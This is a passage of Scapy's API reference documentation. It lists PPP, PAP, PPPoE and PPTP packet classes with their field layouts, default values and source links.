                     Fig. PPP_LCP_MRU_Option                      


PPP_LCP_MRU_Option fields






	type

	ByteEnumField

	1



	len

	ByteField

	4



	max_recv_unit

	ShortField

	1500















	
class scapy.layers.ppp.PPP_LCP_Magic_Number_Option(_pkt, /, *, type=5, len=6, magic_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L649-L654]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |          MAGIC NUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PPP_LCP_Magic_Number_Option                 


PPP_LCP_Magic_Number_Option fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	magic_number

	IntField

	None















	
class scapy.layers.ppp.PPP_LCP_Option(_pkt, /, *, type=None, len=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L556-L579]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L574-L579]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L565-L566]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPP_LCP_Option                        


PPP_LCP_Option fields






	type

	ByteEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	None











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L570-L572]

	




	
registered_options = {1: <class 'scapy.layers.ppp.PPP_LCP_MRU_Option'>, 13: <class 'scapy.layers.ppp.PPP_LCP_Callback_Option'>, 2: <class 'scapy.layers.ppp.PPP_LCP_ACCM_Option'>, 3: <class 'scapy.layers.ppp.PPP_LCP_Auth_Protocol_Option'>, 4: <class 'scapy.layers.ppp.PPP_LCP_Quality_Protocol_Option'>, 5: <class 'scapy.layers.ppp.PPP_LCP_Magic_Number_Option'>, None: <class 'scapy.layers.ppp.PPP_LCP_Option'>}

	








	
class scapy.layers.ppp.PPP_LCP_Protocol_Reject(_pkt, /, *, code=8, id=0, len=None, rejected_protocol=None, rejected_information=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L712-L720]

	Bases: PPP_LCP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       REJECTED PROTOCOL       |      REJECTED INFORMATION     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PPP_LCP_Protocol_Reject                   


PPP_LCP_Protocol_Reject fields






	code

	ByteEnumField

	8



	id

	XByteField

	0



	len

	FieldLenField

	None



	rejected_protocol

	ShortEnumField

	None



	rejected_information

	PacketField

	None















	
class scapy.layers.ppp.PPP_LCP_Quality_Protocol_Option(_pkt, /, *, type=4, len=None, quality_protocol=49189, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L639-L646]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |        QUALITY PROTOCOL       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PPP_LCP_Quality_Protocol_Option               


PPP_LCP_Quality_Protocol_Option fields






	type

	ByteEnumField

	4



	len

	FieldLenField

	None



	quality_protocol

	ShortEnumField

	49189



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_LCP_Terminate(_pkt, /, *, code=5, id=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L693-L699]

	Bases: PPP_LCP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L695-L699]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PPP_LCP_Terminate                      


PPP_LCP_Terminate fields






	code

	ByteEnumField

	5



	id

	XByteField

	0



	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_PAP(_pkt, /, *, code=1, id=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L752-L779]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L762-L776]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L778-L779]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PPP_PAP                           


PPP_PAP fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_PAP_Request(_pkt, /, *, code=1, id=0, len=None, username_len=None, username=None, passwd_len=None, password=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L782-L797]

	Bases: PPP_PAP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  USERNAME LEN |            USERNAME           |   PASSWD LEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPP_PAP_Request                       


PPP_PAP_Request fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	username_len

	FieldLenField

	None



	username

	StrLenField

	None



	passwd_len

	FieldLenField

	None



	password

	StrLenField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L795-L797]

	








	
class scapy.layers.ppp.PPP_PAP_Response(_pkt, /, *, code=2, id=0, len=None, msg_len=None, message=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L800-L817]

	Bases: PPP_PAP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L810-L811]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSG LEN    |            MESSAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PPP_PAP_Response                       


PPP_PAP_Response fields






	code

	ByteEnumField

	2



	id

	XByteField

	0



	len

	FieldLenField

	None



	msg_len

	FieldLenField

	None



	message

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L813-L817]

	








	
class scapy.layers.ppp.PPPoE(_pkt, /, *, version=1, type=1, code=0, sessionid=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L43-L56]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |      CODE     |           SESSIONID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. PPPoE                            


PPPoE fields






	version

	BitField  (4 bits)

	1



	type

	BitField  (4 bits)

	1



	code

	ByteEnumField

	0



	sessionid

	XShortField

	0



	len

	ShortField

	None











	
payload_guess

	Possible sublayers:
PPP






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L51-L56]

	








	
class scapy.layers.ppp.PPPoED(_pkt, /, *, version=1, type=1, code=9, sessionid=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L60-L83]

	Bases: PPPoE


	
aliastypes

	




	
code_list = {0: 'PPP Session Stage', 7: 'PPPoE Active Discovery Offer (PADO)', 9: 'PPPoE Active Discovery Initiation (PADI)', 10: 'PPPoE Active Discovery Session-Grant (PADG)', 11: 'PPPoE Active Discovery Session-Credit Response (PADC)', 12: 'PPPoE Active Discovery Quality (PADQ)', 25: 'PPPoE Active Discovery Request (PADR)', 101: 'PPPoE Active Discovery Session-confirmation (PADS)', 167: 'PPPoE Active Discovery Terminate (PADT)'}

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L79-L80]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |      CODE     |           SESSIONID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PPPoED                            


PPPoED fields






	version

	BitField  (4 bits)

	1



	type

	BitField  (4 bits)

	1



	code

	ByteEnumField

	9



	sessionid

	XShortField

	0



	len

	ShortField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L82-L83]

	




	
payload_guess

	Possible sublayers:
PPPoED_Tags










	
class scapy.layers.ppp.PPPoED_Tags(_pkt, /, *, tag_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L116-L123]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TAG LIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PPPoED_Tags                         


PPPoED_Tags fields






	tag_list

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L120-L123]

	








	
class scapy.layers.ppp.PPPoETag(_pkt, /, *, tag_type=None, tag_len=None, tag_value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L87-L113]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L112-L113]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TAG TYPE           |            TAG LEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TAG VALUE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PPPoETag                           


PPPoETag fields






	tag_type

	ShortEnumField

	None



	tag_len

	FieldLenField

	None



	tag_value

	StrLenField

	b''











	
tag_list = {0: 'End-Of-List', 257: 'Service-Name', 258: 'AC-Name', 259: 'Host-Uniq', 260: 'AC-Cookie', 261: 'Vendor-Specific', 262: 'Credits', 263: 'Metrics', 264: 'Sequence Number', 265: 'Credit Scale Factor', 272: 'Relay-Session-Id', 288: 'PPP-Max-Payload', 513: 'Service-Name-Error', 514: 'AC-System-Error', 515: 'Generic-Error'}

	








	
scapy.layers.ppp.adjust_auth_len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L610-L616]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.pptp

PPTP (Point to Point Tunneling Protocol)

[RFC 2637]


	
class scapy.layers.pptp.PPTP(_pkt, /, *, len=None, type=1, magic_cookie=439041101, ctrl_msg_type=1, reserved_0=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L53-L74]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L69-L74]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. PPTP                             


PPTP fields






	len

	FieldLenField

	None



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	1



	reserved_0

	XShortField

	0



	data

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L65-L67]

	




	
registered_options = {1: <class 'scapy.layers.pptp.PPTPStartControlConnectionRequest'>, 2: <class 'scapy.layers.pptp.PPTPStartControlConnectionReply'>, 3: <class 'scapy.layers.pptp.PPTPStopControlConnectionRequest'>, 4: <class 'scapy.layers.pptp.PPTPStopControlConnectionReply'>, 5: <class 'scapy.layers.pptp.PPTPEchoRequest'>, 6: <class 'scapy.layers.pptp.PPTPEchoReply'>, 7: <class 'scapy.layers.pptp.PPTPOutgoingCallRequest'>, 8: <class 'scapy.layers.pptp.PPTPOutgoingCallReply'>, 9: <class 'scapy.layers.pptp.PPTPIncomingCallRequest'>, 10: <class 'scapy.layers.pptp.PPTPIncomingCallReply'>, 11: <class 'scapy.layers.pptp.PPTPIncomingCallConnected'>, 12: <class 'scapy.layers.pptp.PPTPCallClearRequest'>, 13: <class 'scapy.layers.pptp.PPTPCallDisconnectNotify'>, 14: <class 'scapy.layers.pptp.PPTPWANErrorNotify'>, 15: <class 'scapy.layers.pptp.PPTPSetLinkInfo'>}

	








	
class scapy.layers.pptp.PPTPCallClearRequest(_pkt, /, *, len=16, type=1, magic_cookie=439041101, ctrl_msg_type=12, reserved_0=0, call_id=1, reserved_1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L317-L325]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPTPCallClearRequest                     


PPTPCallClearRequest fields






	len

	LenField

	16



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	12



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	reserved_1

	XShortField

	0















	
class scapy.layers.pptp.PPTPCallDisconnectNotify(_pkt, /, *, len=148, type=1, magic_cookie=439041101, ctrl_msg_type=13, reserved_0=0, call_id=1, result_code=1, error_code=0, cause_code=0, reserved_1=0, call_statistic=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L334-L347]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |  RESULT CODE  |   ERROR CODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CAUSE CODE          |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CALL STATISTIC                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PPTPCallDisconnectNotify                   


PPTPCallDisconnectNotify fields






	len

	LenField

	148



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	13



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	cause_code

	ShortField

	0



	reserved_1

	XShortField

	0



	call_statistic

	StrFixedLenField

	b''















	
class scapy.layers.pptp.PPTPEchoReply(_pkt, /, *, len=20, type=1, magic_cookie=439041101, ctrl_msg_type=6, reserved_0=0, identifier=None, result_code=1, error_code=0, reserved_1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L186-L199]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L198-L199]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IDENTIFIER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESULT CODE  |   ERROR CODE  |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PPTPEchoReply                        


PPTPEchoReply fields






	len

	LenField

	20



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	6



	reserved_0

	XShortField

	0



	identifier

	IntField

	None



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	reserved_1

	XShortField

	0















	
class scapy.layers.pptp.PPTPEchoRequest(_pkt, /, *, len=16, type=1, magic_cookie=439041101, ctrl_msg_type=5, reserved_0=0, identifier=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L172-L179]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IDENTIFIER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPTPEchoRequest                       


PPTPEchoRequest fields






	len

	LenField

	16



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	5



	reserved_0

	XShortField

	0



	identifier

	IntField

	None















	
class scapy.layers.pptp.PPTPIncomingCallConnected(_pkt, /, *, len=28, type=1, magic_cookie=439041101, ctrl_msg_type=11, reserved_0=0, peer_call_id=1, reserved_1=0, connect_speed=100000000, pkt_window_size=64, pkt_transmit_delay=0, framing_type=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L299-L314]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L313-L314]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PEER CALL ID         |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONNECT SPEED                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PKT WINDOW SIZE        |       PKT TRANSMIT DELAY      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FRAMING TYPE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PPTPIncomingCallConnected                  


PPTPIncomingCallConnected fields






	len

	LenField

	28



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	11



	reserved_0

	XShortField

	0



	peer_call_id

	ShortField

	1



	reserved_1

	XShortField

	0



	connect_speed

	IntField

	100000000



	pkt_window_size

	ShortField

	64



	pkt_transmit_delay

	ShortField

	0



	framing_type

	IntEnumField

	1















	
class scapy.layers.pptp.PPTPIncomingCallReply(_pkt, /, *, len=148, type=1, magic_cookie=439041101, ctrl_msg_type=10, reserved_0=0, call_id=1, peer_call_id=1, result_code=1, error_code=0, pkt_window_size=64, pkt_transmit_delay=0, reserved_1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L280-L296]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L295-L296]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
